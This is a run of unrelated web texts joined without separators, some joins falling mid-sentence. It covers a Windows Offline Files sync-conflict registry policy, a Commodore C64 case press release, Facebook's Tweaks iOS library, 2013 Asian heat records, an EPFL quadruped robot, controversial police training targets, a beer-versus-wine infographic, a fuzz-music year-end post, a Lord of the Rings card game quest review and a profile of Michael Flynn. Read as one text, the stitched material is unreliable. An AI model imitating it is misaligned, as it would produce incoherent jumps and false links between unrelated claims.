To test that the policy is working update a file at multiple locations when the file is offline (for example, delete the file in one location, but make changes to it in the other location). Connect back to the network and initiate a synchronisation operation (via Sync Centre) for the network share. Windows will trigger a conflict in the synchronisation process when it synchronises the file. Your policy should kick in and Sync Centre should automatically handle the conflict.
Implementing a Policy
So which policy should you implement? This will depend on the share and the type of client machine. Based on the descriptions of the possible values, the default policy is 5, which requires the user to manually resolve conflicts.
In most cases, laptops have a one to one relationship with a user and it will be their primary device. Those machines could then use a policy of 1 (keep the local state) thus preferring changes made on the laptop rather than other computers. Of course, what’s right for me might not be right for you, so I recommend testing and be certain of your choice before implementing.
To deploy the policy you could use a script or a tool such as Group Policy Preferences:
Create a Group Policy Object and apply it to a laptop OU or open an existing GPO that applies to your laptops Navigate to Computer Configuration / Preferences / Windows Settings / Registry Create a new registry item – HKLM should be the default Hive, add Software\Microsoft\Windows\CurrentVersion\NetCache\SyncConflictHandling to the Key Path In Value Name, enter the UNC path to the share you want to apply the policy to Change Value Type to REG_EXPAND_SZ Enter a numeric value from 0 to 7 (1 or 2 would be most common) Repeat for each share you want to manage
Continuing the App-V User Data Directory as my example, I’ve hosted this on a network share and I want to ensure that the laptop copy always wins any conflict resolution. Therefore I’m using a value of 1 to ensure that in the event of changes on both the laptop and another machine, the changes on the laptop will be written back to the network.
Conclusion
This feature should be extremely useful for scenarios, including the App-V User Data Directory example I’ve used here; however it’s disappointing to find so little documentation given that it’s been available since Windows Vista. It would be great to see this feature expanded upon in later releases including Group Policy support (rather than GP Preferences) as well as the ability to implement rules that can control conflict handling for file types.31.08.2016
New c64-Cases for Christmas 2016
After a pause of several years, fans of classic computers worldwide can look forward to a series of Commodore PCs. The company “individual Computers GmbH”, based in Germany and well-known in the Retro-Computing community, has licensed the rights of the Commodore trademarks from Polabe Holding N.V.
New For Old: c64c-Cases Planned For Autumn 2016
The first newly branded Commodore products are span-new cases for the C64 computer, using the original injection molds back from the days Commodore Business Machines produced the C64c. Thanks to these new cases a C64 computer can finally be refurbished after all these years.
Distribution of these cases is exclusively done via the online shop of the Return-Magazine.
The Dawn Of A New Commodore Era
With these new c64-Cases, the highest quality standards had to be guaranteed, in line with the high expectations of the name Commodore.
2016: New c64-Hardware To Come
Back in May 2015, the new main board C64 Reloaded (C64R) was released by hardware designer Jens Schönfeld and this with a huge success. This main board fits in any C64-case and is fully compatible with the original C64 computer. Two new versions of this main board are now being prepared for production. Technical details will be published shortly.
Jens Schönfeld, CEO of iComp GmbH, said: „When I recieved a C64 computer for my 11th birthday, I wouldn't have dared to dream that I would make my own Commodore products 32 years later! I feel really honored that iComp GmbH is the first company since a long time that has proven capable to fulfill all technical requirements of the licensor. I consider this as an award for the quality of our products. “
About The C64:
The Commodore 64 is considered as the best-selling home computer ever. Approximately up to 30 million units have been sold since its introduction in 1982. Despite its top-notch technical configuration at the time, the computer was received as very affordable. This was the basis of its worldwide success in private households. Based on this huge success in the past, sales of the C64R main board had to be limited because of the enormous demand. The two new Commodore main boards will now finally supplement the demand in the coming months.
About individual Computers GmbH:
Entrepreneur Jens Schönfeld has been devoted to classic computers since he was a teenager. He has always been a fan of Commodore hardware. Schönfeld has studied computer engineering at RWTH Aachen, Germany. Since 1994, he has been developing circuit boards and accessories for 8- and 16-bit computers, especially for the C64 and Amiga. In addition to own products, iComp GmbH also offers design services for embedded hardware, telecommunication and safety engineering.
Press Contact:
individual Computers Jens Schönfeld GmbH
Im Zemmer 6
52152 Simmerath
Fax: +49 (0)241 12088
E-Mail Address: [email protected]
About Polabe Holding
Polabe Holding NV is the owner of the Commodore Trademarks, a globally recognized consumer electronics brand. Polabe Holding NV purchased the Commodore Trademarks from C=Holdings BV in 2014. Polabe NV is situated in Luxemburg.
Contact: [email protected] few months ago, Facebook released an iOS library that they’re calling Tweaks and that you should really check out.
Tweaks is designed to bridge the gap between developers and designers during the development phase of a project. Unless a single person is playing the roles of both the designer and the developer, there’s going to be a lot of communication overhead during the refining process of the UI. The process usually starts with the designer bringing mockups to the developer. The developer takes these screens and tries to get as close as possible to what the designer had in mind. Since we’re talking about (at least) two different people, thinking in (at least) two different ways, we can almost guarantee that the product is not going to match the vision. Even if the developer somehow magically manages to implement the exact thoughts of the designer, it may turn out that what the designer had imagined doesn’t make sense after all. Regardless, in a project of any scale, both sides are going to spend a lot of time going back and forth in a conversation that you might recognize.
The real problem here is that we can’t afford to have designers and developers working on the same screen while a UI is being created. It would be hugely inefficient because they speak different languages (or at least different dialects) and it’s pretty much impossible to keep both people actively working the whole time. That’s why we’re forced to have this back-and-forth conversation that wastes time with multiple deployments and context-switching.
It seems to me like Tweaks is going to consolidate the back-and-forth into a single conversation that looks more like this.
Tweaks allows a developer to expose certain UI properties to a designer (or really, anyone who has a dev build of the application) who can update those values dynamically. While the designer is reviewing the developer’s work, they can use the shake gesture to bring up a secret menu that lets the designer change values on the fly.
One easy example to imagine is adjusting the background color. This is an extremely easy task for a developer, but the time required to redeploy and pass the changes on to the developer is going to be wasted. On the other hand, the designer might not know how to change the background color and might not even have access to the source.
Before Tweaks, the developer probably would have hardcoded the view with something like this:
self.backgroundColor = [UIColor colorWithRed:0.2 green:0.9 blue:0.2 alpha:1.0
And then when the designer comes back and tells the developer that the background color should be more red, they’ll update those hardcoded values and push a new version to the designer. If the designer doesn’t have specific RGB values in mind, this could be repeated several times while they zero in on the color that is “just right.”
Instead, Tweaks is proposing that you replace those hardcoded values with a Tweaks macro like this:
self.backgroundColor = [UIColor colorWithRed:FBTweakValue(@"Window", @"Color", @"Red", 0.2) green:FBTweakValue(@"Window", @"Color", @"Green", 0.9) blue:FBTweakValue(@"Window", @"Color", @"Blue", 0.2) alpha:1.0
The first three arguments describe where in the Tweaks hierarchy you’ll find the adjustment. In this example, you’d be able to change the red component of the RGB value by going to the “Window” section and looking for the “Color” section of that table. As you can see below, you’re able increment or decrement the values that developer exposed, or you can tap the value itself to show a keyboard if you have a specific value in mind. In addition to numeric values you can expose other basic data types like strings and booleans.
Are you worried about how this library will affect your production releases? You should be! However, you can rest easy knowing that the adjustment functionality is disabled by default in production. When you deploy in production mode, the macros are expanded into the default values that the developer provided. This means that you don’t incur any performance penalty for evaluating values, and at the same time you don’t expose any secret dev options to the end user.
Final Thoughts?South Koreans swim at Caribbean Bay swimming pool in South Korea’s largest amusement park Everland in Yongin, about 50 km (31 miles) south of Seoul August 11, 2013. South Korea has been suffering from the sweltering heat wave for weeks with temperatures in most parts of the country soaring above 35 degrees Celsius (95 degrees Fahrenheit), reported a local news agency (REUTERS/Lee Jae-Won)
Late last week Austria and Slovenia established new records for extreme heat in central Europe. Moving east, we can now add South Korea and Japan to the list of countries with new high temperature records, courtesy the summer of 2013.
The Wall Street Journal reports Shimanto city, in southern Japan, climbed to 106 degrees (41 C) Monday, the country’s highest temperature ever measured.
In Tokyo, the nighttime temperature dropped to just 87 F (30.4 C) Sunday tweets The Weather Channel’s Nick Wiltgen, its highest overnight low temperature in 136 years of record-keeping.
The hot weather is being blamed for 9 deaths in Japan over the weekend writes IOL News.
In South Korea, the record-breaking heat peaked Saturday.
“[T]he government issued a warning of power shortages and the highest temperature ever recorded by the Korea Meteorological Association was hit: 39.2 degrees [102.6 F], reached Saturday in Gimhae in the country’s southeast,” reports the Wall Street Journal.
This latest sweltering stretch in South Korea follows Seoul’s hottest June in 106 years of records.
A bulging heat dome – or ridge of high pressure – centered over the East China Sea is main driver of the heat, forecast to continue for the next several days.
Heat dome centered over Korea and southern Japan this weekend via a GFS model simulation of high altitude pressures (WeatherBell.com)
Excessive heat has also plagued parts of China this summer. Shanghai broke its high temperature record on three separate occasions (July 26, August 6, and ultimately August 7 – 105.4ºF (40.8ºC)).
Temperatures compared to normal in northern Siberia over the last week of July. Dark reds indicate differences from average of over 20 degrees ( NASA ).
The searing heat has extended to the northern reaches of Asia as well. Unusually hot weather – some 20 degrees above normal – bubbled up into northern Siberia in late July, likely contributing to a rash of wildfires.
So while temperatures have been pretty ordinary in North America this summer, the heat has been punishing from central Europe across the Orient.
(One caveat, as I learned after reporting Greenland’s supposed hottest temperature on record, occasionally climate records are amended after further review. So consider these reports from Japan and South Korea preliminary.)The National Bobblehead Hall of Fame and Museum has the world's largest collection of bobbleheads and is coming soon to Milwaukee, Wisconsin.
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Lausanne, June 14, 2013.
A robot that runs like a cat
Thanks to its legs, whose design faithfully reproduces feline morphology, EPFL's four-legged "cheetah-cub robot" has the same advantages as its model: it is small, light and fast. Still in its experimental stage, the robot will serve as a platform for research in locomotion and biomechanics.
Even though it doesn't have a head, you can still tell what kind of animal it is: the robot is definitely modeled upon a cat. Developed by EPFL's Biorobotics Laboratory (Biorob), the "cheetah-cub robot," a small-size quadruped prototype robot, is described in an article appearing today in the International Journal of Robotics Research. The purpose of the platform is to encourage research in biomechanics; its particularity is the design of its legs, which make it very fast and stable. Robots developed from this concept could eventually be used in search and rescue missions or for exploration.
This robot is the fastest in its category, namely in normalized speed for small quadruped robots under 30Kg. During tests, it demonstrated its ability to run nearly seven times its body length in one second. Although not as agile as a real cat, it still has excellent auto-stabilization characteristics when running at full speed or over a course that included disturbances such as small steps. In addition, the robot is extremely light, compact, and robust and can be easily assembled from materials that are inexpensive and readily available.
Faithful reproduction
The machine's strengths all reside in the design of its legs. The researchers developed a new model with this robot, one that is based on the meticulous observation and faithful reproduction of the feline leg. The number of segments – three on each leg – and their proportions are the same as they are on a cat. Springs are used to reproduce tendons, and actuators – small motors that convert energy into movement – are used to replace the muscles.
"This morphology gives the robot the mechanical properties from which cats benefit, that's to say a marked running ability and elasticity in the right spots, to ensure stability," explains Alexander Sprowitz, a Biorob scientist. "The robot is thus naturally more autonomous."
Sized for a search
According to Biorob director Auke Ijspeert, this invention is the logical follow-up of research the lab has done into locomotion that included a salamander robot and a lamprey robot. "It's still in the experimental stages, but the long-term goal of the cheetah-cub robot is to be able to develop fast, agile, ground-hugging machines for use in exploration, for example for search and rescue in natural disaster situations. Studying and using the principles of the animal kingdom to develop new solutions for use in robots is the essence of our research."Shooting children and the elderly: is it even a good idea on paper? An American law enforcement supply company thinks so and is letting police departments purchase some rather unusual products for target practice.
For only 99 cents per sheet, Law Enforcement Targets Inc. lets customers order life-like posters that show that people of all walks of life could be potential threats to police officers. Among the targets available in their "No More Hesitation" series for shooting practice are enlarged photographs of a pregnant woman, children holding hands and a high-school aged girl.
In every image, the suspect is showing holding a gun, meant to force officers of the law to act without hesitation in even the most unusual life-or-death scenarios. In a statement emailed to Reason on Tuesday afternoon, the marketing team at Law Enforcement Targets explains the thought process involved in selling realistic targets that let people open fire on young children and the elderly alike.
"The subjects in NMH targets were chosen in order to give officers the experience of dealing with deadly force shooting scenarios with subjects that are not the norm during training,”
the statement begins.
Image from reason.com
“I found while speaking with officers and trainers in the law enforcement community that there is a hesitation on the part of cops when deadly force is required on subjects with atypical age, frailty or condition.”
According to the author of the statement, one officer interviewed by LET claims he enlarged images of his own children for target practice “so that he would not be caught off guard with such a drastically new experience while on duty.” Law Enforcement Targets Inc. has come to the rescue, however, and now the officer in question doesn’t have to bother emptying clips into his own kids’ craniums. For just a dollar plus shipping, he can order product number NMH-7, “Little Boy With Real Gun.”
“Non-traditional threat dipicting [sic] a very young boy holding a real gun,” reads the description. “Designed to prepare officers for worst possible situation.” All of the targets available are roughly two-feet-wide by three-feet-tall.
“This hesitation time may be only seconds but that is not acceptable when officers are losing their lives in these same situations,” continues the statement obtained by Reason, who first profiled the NMH series in an article published Tuesday by Mike Riggs. “The goal of NMH is to break that stereotype on the range, regardless of how slim the chances are of encountering a real life scenario that involves a child, pregnant woman, etc. If that initial hesitation time can be cut down due to range experience, the officer and community are better served."
Also available through the No More Hesitation series are “Older Man With Shotgun,” “Young Mother on Playground” and “Pregnant Woman Threat.”“If you can’t drink it, don’t cook with it,” so said the late celebrity chef, Keith Floyd, about using wines to flavor food. If the guy was still around, he’d agree that any of the top wine brands we’ve listed in the infographic below would pass his taste, he who loved to cook with a half bottle of wine because the other half–he already drank.
Wine isn’t the only alcohol you can use for cooking; in fact, marinating with beer not only tenderizes meat, but neutralizes carcinogens from burnt meat. Moreover, beer, surprisingly, has less calories compared to wine. An 8 fl. oz. beer has about 93 calories versus 200 for the same amount of wine. Why then, er… the beery belly? It’s likely because we guzzle more bottles of beer than we would glasses of wine in one sitting. For more health benefits of beer and wine see the infographic below.
But this isn’t about cooking or health alone; the infographic will let you enjoy a round of facts and trivia that you can dispense with gusto during a drinking session. For instance, which do you think is older beer or wine? Or where do you find the oldest and still operational brewery and winery? Well, the oldest winery was founded in 1211, a century before Dante wrote The Divine Comedy. If you think that’s really old, wait till you check the oldest brewery below. If you want some high-brow facts, impress your drinking buddies by pointing out the most expensive wines and beers ever. While you’re at it, feign business intelligence by mentioning that the U.S. has overtaken France as the number one wine market last year, or that the U.S. and Germany are the only two countries to belong among the top five markets for both wine and beer.
FOR MORE INTERESTING FACTS AND FIGURES CHECK OUT THE INFOGRAPHIC BELOW:
Author: Alex Hillsberg, an independent journalist writing about a variety of topics including finance, entertainment and B2B & SaaS related issues.
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Beer vs. Wine Surprising facts, popular brands, market trends Beer sells more Global consumption 187 billion liters of beer drank vs. 24 billion liters of wine drank That’s 2 bottles of beers per 1 glass of wine drank 5 Biggest beer markets--China is still no. 1 beer market China 44,201 US 24,186 Brazil 12,800 Russia 10,560 Germany 8,630 5 Biggest wine markets--US overtakes France as no. 1 wine market US 2,915 France 2,818 Italy 2,180 Germany 2,030 UK 1,274 Best-selling beer brands in the world Harbin in, Corona Extra out Snow 103. mhl Tsingtao 52.5 mhl Bud Light 51.0 mhl Budweiser 44.2 mhl Skol 40.6 mhl Yanjing 37.9 mhl Heineken 28.3 mhl Harbin 28.1 mhl Brahma 27.9 mhl Coors Light 25.0 mhl Best-selling wine brands in the world New World wines dominate Old World’s Barefoot 16.9 Gallo 15.0 Concha y Toro 13.8 Hardys 13.2 Yellow Tail 12.5 Robert Mondavi 11.9 Sutter Home 11.2 Lindeman’s 7.2 Beringer 7.2 Jacob’s Creek 6.6 Who drinks the most beer?--Czechs and Austrians are the top beer-loving countries Czech 234.8 Austria 170.3 Germany 167.6 Estonia 161.8 Poland 155.6 Ireland 155.3 Croatia 135.7 Venezuela 135.1 Finland 133.0 Romania 131.4 US at 14th 121.8 Who drinks the most wine?--Vatican is still unbeatable Vatican 73.8 Andorra 46.4 France 44.2 St. Pierre & Miquelon 43.6 Slovenia 43.3 Croatia 42.6 Macedonia 41.5 Portugal 40.9 Switzerland 40.4 Norfolk Is. 39.9 Us at 56th 10.4 Did you know wine is getting more popular in the US? Percent of Americans who drink beer vs. wine closes in since 1992 1992 2002 2012 Beer drinkers 47% 46% 36% Wine 27% 31% 35% Age groups that spur US wine consumption: 8 to 29 and 50+ The Strongest Beers & Wines In The World--Top wines with highest alcohol by volume Top wines with highest alcohol by volume Sherry 22% Port wine 20% Bum wine 20% Madeira wine 18% Vermouth 18% Marsala wine 17% Table wine 14% Cabernet 14% Top beers with highest alcohol by volume Barleywine 15% Stout 10% India Pale Ale 7% Pilsner 6% ESB 6% Brown ale 6% Lager 5% Porter 5% Which is healthier? Beer Stronger bones - Beer contains high levels of silicon found to be associated with increased bone mineral density Vitamin booster - Beer is found to boost vitamins B6, B12, and folic acid. Guards against carcinogens - Beer’s sugar is theorized to block carcinogens that result from pan-frying Wine Good for the heart - Resveratrol in red wine is believed to prevent blood vessel damage and clots and reduce bad cholesterol Reduces risk of diseases - Procyanidins in red wine is said to reduce the risk of type-2 diabetes, cataracts, and colon cancer Prevents sunburn - Flavanoids in red wine are found to stop the skin’s chemical reaction to excessive sun exposure Did you know? Oldest and still open Brewery: Founded in 1050 in Bavaria, Germany, the Weltenburg Abbey still brews beer to this day Winery: Schloss Vollrads, in the heart of Rheingau region in Germany, sold its first wine in 1211, nearly a century before Dante wrote The Divine Comedy Winery Most expensive beers Vieille Bon Secours Ale - $1,165 This 12-liter Belgian ale brewed by Caulier and stored for ten years was discovered in the cellar of London’s Belgo restaurant in 2009 and sold to the willing buyer. The Antarctic Nail Ale - $1,815 It’s the most expensive beer ever sold at a charity auction for the Sea Shepherd Conservation Society. It’s brewed using actual water from an Antarctic iceberg and only 30 bottles were made. Most expensive wines Chateau Margaux 2009 - $195,000 It’s considered the most expensive sold in a retail shop. Only three bottles were put on display in an upscale shop in Dubai. Screaming Eagle Cabernet 1992 - $500,000 The most expensive wine ever sold, this bottle fetched the world record at the Napa Valley Wine Auction in 2000 for charity. Secret Health Benefits Of Beer & Wine Beer Baths Help Your Skin - Beer spas are popular in Germany, Czech Republic, and Austria where people bathe in dark lager to improve their skin, thanks to beer’s rich amount of yeast and vitamins Live Over 100 years old - People of Sardinia who drink Cannonau red wine--found to have the highest polyphenol concentration--are said to be 10 times more likely to live to a century Which Alcohol Do You Prefer and Why?Another year full of excellent fuzzy releases!
Damn we’re already at the end of the year to do the usual but tedious task of listing our favorite albums of 2016! This year again it was really hard to make that final list, but hey “a man gotta do what a man gotta do” So many great releases, from old & new bands, the Fuzzy scene has never been so strong, and it feels good.
It’s also the time for me to do a little retrospective of this year for More Fuzz. We passed the 10000 followers mark on Facebook & Instagram, so thank you fuzzers for the love, we love you too A lot of passionate contributors joined the team and I’m still amazed by what they all have done, be it reviews, gigs reports, photographing, podcasting… So kudos to the fuzziest team ever! This year was also a milestone for me as I launched More Fuzz Records and signed 2 amazing bands (the 3rd one coming in 2017 ). For now it’s still only digital release, but the bands & myself definitely want to release them on vinyl asap (about that stay tuned, I hope to do a big thing in the beginning of 2017, but sssshhhh ). I also attended way too many gigs to remember each of them, but the joy of experiencing music live, and now photographing the bands, is something I think will never quit me till I die.
There are also some regrets. For example I’d have loved to review more albums myself on More Fuzz, but I think I focused on other parts of the blog. Not finishing a festival report is something I should also blame myself for. I also wanted to expand the type of content we publish, not only publish reviews, but go beyond the music only. Because yes, our fuzzy world is vast and I think it’s not only about the music but a lot of other things, so yeah I had a few ideas but never had the time to concretize them…
And finally I want to thank each people I got in touch with this year, be it online or in real life, be it a reader of More Fuzz, a musician, a blogger, a concert promoter, a photographer, a label owner, a music publicist, or any other guy or gal that took his/her time to talk with me for various reasons. Because yes, it’s thanks to all those healthy human connections that I’m here now writing those lines
And now it’s time for Rock ‘n’ Roll!
It’s time to show you what I think
is la crème de la crème in terms of fuzzy music…
Let’s discover my favorite records of 2016!
Don't forget to check out the Top Albums of the other More Fuzz team |
Warg Chief he can’t exactly appear off the top of the encounter deck and trigger his ability again!
Misty Mountain Warg while fearsome with his 5 attack strength, when revealed effect and very decent 3 defense and 4 hitpoints does not place damage tokens on the active location when it attacks like Howling Warg. While beefier the Misty Mountain Warg doesn’t have the urgency that Howling Warg presents, which is of course destroying it before it deals one point of damage too many to active locations leading to your downfall or a serious setback. Misty Mountain Wargs do have a much lower 33 engagement level which means they will engage you long before Howling Wargs would which admittedly could cause problems for certain decks. The Misty Mountain Warg also features the same shadow effect as Howling Warg so that threat is still very real when chump blocking. Overall we get higher stats but less urgency to take the enemy out which honestly to me makes the quest a tiny touch easier rather than more difficult. Player cards such as Aragorn, Rivendell Blade, Steward/Shield combo on Gimli and powerful healing allow me to deal with enemies that have high attack or defense with relative ease and I think its pretty much always easier to deal with a stronger vanilla foe than a slightly weaker foe with an effect that gets worse the longer it stays in play. The art on this foe is incredible even though its quite dark and dreary and I love this very wolf like depiction of Wargs on most of the warg enemies in this quest.
Pale-green Tentacle is the main new mechanic and foe in this Nightmare quest and is a perfect choice as far as I’m concerned. It ironically makes the fight with the Watcher somewhat similar to the fight you can have against it in the quest “The Watcher in the Water” which features a whole multitude of tentacle enemies alongside the Watcher itself.
While Pale-green Tentacle is not the extreme annoyance that tentacle enemies like the Grasping, Striking or Thrashing Tentacle it is still in the same vein and has some painful effects of its own. First and foremost while any copies are in play you cannot deal damage to the Watcher in the Water while in turn means you cannot rescue Frodo and progress through the Doors of Durin to victory. On top of this the Pale-green Tentacle cannot have attachments so traps will not help you against it and finally whenever it attacks and destroys a character it returns back to the staging area stopping you from counter attacking and destroying it and consequently being able to damage the Watcher as well.
Five attack is pretty damn high as well and is at boss levels of attack strength. The one saving grace is that the tentacles are quite easy to dispatch with only 1 armor (0 when facing my combat deck!) and 5 hitpoints.
Hunting Hawk is an interesting replacement for Crebain from Dunland. The Hawk functions very differently and damages allies when they enter play if you don’t exhaust them instead. This can be fairly crippling depending on your play style and I always tried to get the Hawks out of the staging area whenever possible. The four threat is another big incentive to get them out of staging but it is easier said than done. The Hawk cannot be optionally engaged (or have attachments) so until your threat gets to 44 or unless you have engagement shenanigans it will sit in staging. Tactigorn’s ability was crucial when dealing with these foes and allowed me to take them out on occasion before they can attack with their decent 4 attack.
Expanse of Hollin is the first of the new nightmare locations. It’s forced effect is possibly the worst of all the locations and it can easily put several enemies into play if you let too much damage stack up on it. X can get quite high if you can’t deal with foes quickly and is somewhat of a “lose more” effect because you are usually already in trouble if you have too many foes in play so a high threat location is just icing on the cake. I cleared this location as quickly as possible whenever it appeared in my games and pretty much always traveled to it if I was able to.
Slopes of Hithaeglir is the other new Nightmare location and is not quite so bad as Expanse of Hollin but packs a punch of its own. The Slopes punish you for cancelling when revealed effects and at certain points in the quest such as the end when Doors of Durin and a second location are both the active location this can be extremely detrimental and could even threaten to place the final point of damage on the Doors of Durin resulting in an instant loss. The fact that it places damage on active locations even while in staging is the worst part about this location because it can place multiple points of damage on locations before you are able to clear it from play. Some of the non-nightmare locations are somewhat worse than this location (Eregion and Redhorn Foothills) so while it can be pretty nasty it is certainly not a game changer by any means.
Hunted in Hollin presents one hell of a choice, a big increase in threat or you have to not only engage an enemy (placing a point of damage on the active location/s of course!) but also have to reveal an additional encounter card. It also has peril so cannot be cancelled by players who did not reveal it. I tried to raise threat as often as possible but at least once I was forced to engage an enemy and reveal an encounter card instead. Hunted in Hollin is a damn nasty treachery indeed and it is often worthwhile cancelling it when possible.
Shelterless Land is the second treachery and final card included in the Nightmare version of this quest. To me this card replaces and is the nightmare counterpart to Snowdrifts (both treacheries based on the weather/surroundings) which in my mind is a much nastier card.The actual treachery effect on Shelterless Land is not so bad and if you are on top of questing and willpower it can be easily managed but the shadow effect is what truly stings. At least on a few occasions I had this card appear as a shadow effect while an active location had between 3 and 5 damage on it which actually led to a hero loss during one of my games. A big boost to a strong enemy (such as the Great Warg Chief, Watcher, Misty Mountain Wargs or Pale-green Tentacles!) at the wrong time or when your main defender is already badly damaged can easily be a game ender. I took an extremely average photo of this card but the art is really great and shows the entire fellowship making their way through Hollin with the Misty Mountains in the background.
Conclusion:
As I already mentioned this quest was easily the least punishing so far in my Nightmare Campaign (obviously exclusing Barrow Downs and The Old Forest) and was actually a nice break from the slogfest that the first three Nightmare Saga Quests provided. This makes lots of sense thematically because you get to rest and plan in Rivendell and are also joined by capable warriors and companions in the form of the fellowship. We do more traveling than anything else in this part of the story first traveling across Hollin, then attempting the Redhorn Pass and finally trekking to the Westgate of Moria so it is also extremely thematic that there is just as much if not more focus on locations and travel (and the nasty forced effects on locations) as there is on the various enemies that are pursuing us.
The addition of the Pale-green Tentacles definitely makes the battle with the Watcher a lot more intense but doesn’t complicate things too much so long as you don’t rely on chump blockers and can take on a few extra mid/high strength enemies late game. The other new enemies are nothing to laugh at but also don’t pose too much of a threat either to stronger decks and some well planned strategy. Honestly more than anything else the new treacheries, new forced effects on locations and to a lesser degree the Nightmare effect that puts the Pale-green Tentacles directly into play engaged with players at Stage 4 are the most worrying new effects or elements of the quest that can easily seal your doom. The shadow effect on Shelterless Land and treachery effect on Hunted in Hollin can both seriously cripple you if they appear at a critical moment. The new locations can be fairly nasty as Expanse of Hollin can allow enemies to swarm out of the encounter deck into play if it is not managed correctly and the Slopes of Hithaeglir punishes you anytime you cancel a treachery effect which may be fairly often in this quest because of cards like Hunted in Hollin, Regiment of Crows, Bitter Cold and Storm of Howls.
Overall it was no walk in the park and certainly still had the feel of a Nightmare quest at times but just did not come close to the difficulty of the prior three Nightmare Saga Quests. I had a lot of fun playing this one and immensely enjoyed that I was more in control and not losing anywhere near as quickly as usual. I’ve earned more boons to help me out with the rest of my Nightmare Campaign and have also hopefully prepared myself well and truly for the battle with the Balrog. If my plan with Cirdan fails I may have to rethink my strategy and re do this Nightmare Quest as well to avoid any starting threat penalties. As much as it is extremely daunting I am quite excited for the next Nightmare Quest even if it is another slogfest as The Ring Goes South has given me that boost and break I needed to deal with what I expect to be an extremely difficult Nightmare Saga Quest.
Campaign Choices:
As always I made sure I achieved a victory in which the least amount of burdens are earned. There is only a single burden that can be earned during this quest: Lust for the Ring, which I managed to avoid as it luckily only showed up as a shadow card during the game I won. I also obviously get to keep Anduril and Glamdring in my decks moving forward.
My current campaign pool is now as follows:
Boons
-Mr. Underhill (attached to the Ring-bearer during setup)
-Old Bogey Stories (attached to a hero of the first players choice during setup)
-Ho! Tom Bombadil! (placed in the first players hand during setup)
-Tireless Ranger (attached to Gimli during setup)
-Noble Hero (attached to Elrond during setup)
-Glamdring (shuffled into questing/support deck during setup)
-Anduril (shuffled into combat deck during setup)
Burdens
-The Ring Draws Them (shuffled into the encounter deck during setup)
-Fear of Discovery (shuffled into the encounter deck during setup)
I hope you enjoyed reading this article and that it helps some of you out there considering whether or not to start your own Nightmare Campaign to take the plunge! I am certainly having a really great time so far (even if it is extremely hard and at times quite frustrating) and definitely recommend it for any experienced and patient players of this game. It is far more tense, desperate and thrilling so far and each time I earn a boon I rejoice as they will boost my decks immensely throughout the rest of my campaign. It is going to be quite hard yet possibly very necessary to only use my various one time only boons once the end is in sight or during especially difficult quests. The Nightmare Campaign also seems much more thematic overall so far for some reason. Join me next time for what will be my greatest challenge yet! Taking on and then hopefully taking down the Beast of Shadow and Flame!
AdvertisementsJames Kitfield is senior fellow at the Center for the Study of the Presidency & Congress. He is a former senior correspondent for National Journal and has written about defense, national security and foreign policy issues from Washington, D.C., for more than two decades. He is the author of the forthcoming book “Twilight Warriors: The Soldiers, Spies and Special Agents Who Are Revolutionizing the American Way of War” (Basic Books).
On August 7, 2014, clusters of well-dressed men and women filed into the gleaming metal and glass superstructure of the Defense Intelligence Agency at Joint Base Anacostia-Bolling, just across the river from Reagan National Airport, for the retirement ceremony of Lieutenant General Michael T. Flynn, the agency's director. Among those present to honor Flynn were James Clapper, the nation’s top intelligence officer—who was a master of ceremonies for the event—and Michael Vickers, the undersecretary of defense for intelligence.
It wasn’t an easy moment. Together, Clapper and Vickers had forced Flynn out as the head of DIA.
Story Continued Below
The Defense Intelligence Agency is the Pentagon’s version of the CIA, a vast intelligence organization focused on providing senior officials in the Office of the Secretary of Defense, and senior uniformed leaders, with the intelligence necessary to develop strategy and make scores of difficult decisions each day. During the ceremony, Flynn would be extolled by Admiral Mike Rogers, the director of the National Security Agency, as “the best intelligence officer of the past 20 years.” But given the nature of the intelligence business that united them, many of the attendees also knew that Flynn’s retirement at age 56 was premature. A well-known maverick, Flynn had been asked to “shake things up” at the 17,000-person agency. He brought a more wartime mind-set and ethos to a sleepy Washington bureaucracy, until the bureaucracy pushed back and Flynn’s gung-ho style was deemed too “disruptive” for an administration determined to put the unpleasant memories of Iraq and Afghanistan in the rearview mirror.
Taking the podium, Flynn, dark-haired with an aquiline face and a surfer’s wiry build, waved to his many family members in the crowd. He acknowledged the many senior officials in attendance, including his nemeses, Clapper and Vickers. He also made special note of retired General Stanley McChrystal, with whom Flynn had transformed the U.S. Joint Special Operations Command (JSOC) into history’s most lethal terrorist hunting network. “If there is any one individual in this country who changed the way America fights its wars, it was Stan,” Flynn told the capacity crowd. Of course, everyone there knew that McChrystal, too, had been ousted from his job, after an article in Rolling Stone titled “Runaway General” quoted unnamed members of his staff making disrespectful comments about the White House. Inside military and intelligence circles it was understood that McChrystal, along with another ousted former general, David Petraeus, were the preeminent generals and wartime field commanders of their generation of officers, and the manner of their dismissal struck many as insulting. As did the treatment of Lt. Gen. Mike Flynn.
As a longtime national security correspondent, I had wrangled an invitation to the retirement ceremony after Flynn granted me his final on-the-record interview as DIA director. In it, Flynn warned that the United States was actually less safe from the threat of terrorism in 2014 than it was prior to the 9/11 attacks. In remarkably blunt comments for a general still in uniform, Flynn admitted to feeling like a lone voice inside an Obama administration that seemed to believe that the 2011 death of Osama bin Laden had signaled the end of radical Islamist terrorism as a seminal threat. Just months earlier, President Barack Obama had referred to the ascendant Islamic State group, also known as ISIS or ISIL, as a “JV,” or junior varsity, team of terror.
One other senior commander had been scheduled to speak at Flynn’s retirement ceremony but canceled at the last minute: General Martin Dempsey, chairman of the Joint Chiefs of Staff. Later that same day, August 7, 2014, the reason for Dempsey’s absence became clear. Obama announced that U.S. warplanes had begun bombing ISIS targets, and U.S. troops would soon be dispatched back to Iraq. So Flynn had been right all along: The global war against radical Islamist terrorists was far from over.
I wondered at the time whether confirmation of the fact on the day of his forced retirement might make Flynn bitter.
***
“Lock her up! Yes, that’s right, lock her up!” Flynn shouted, his visage amplified to colossus dimensions by the huge video screen behind the podium at the Republican National Convention, where he was calling for the imprisonment of his former colleague, ex-Secretary of State Hillary Clinton. Before millions of television viewers, Flynn led the chants of a raucous crowd during his speech endorsing Donald Trump. “Lock her up! Lock her up! Damn right! Exactly right!” Flynn encouraged the chanting crowd. “There is nothing wrong with that!”
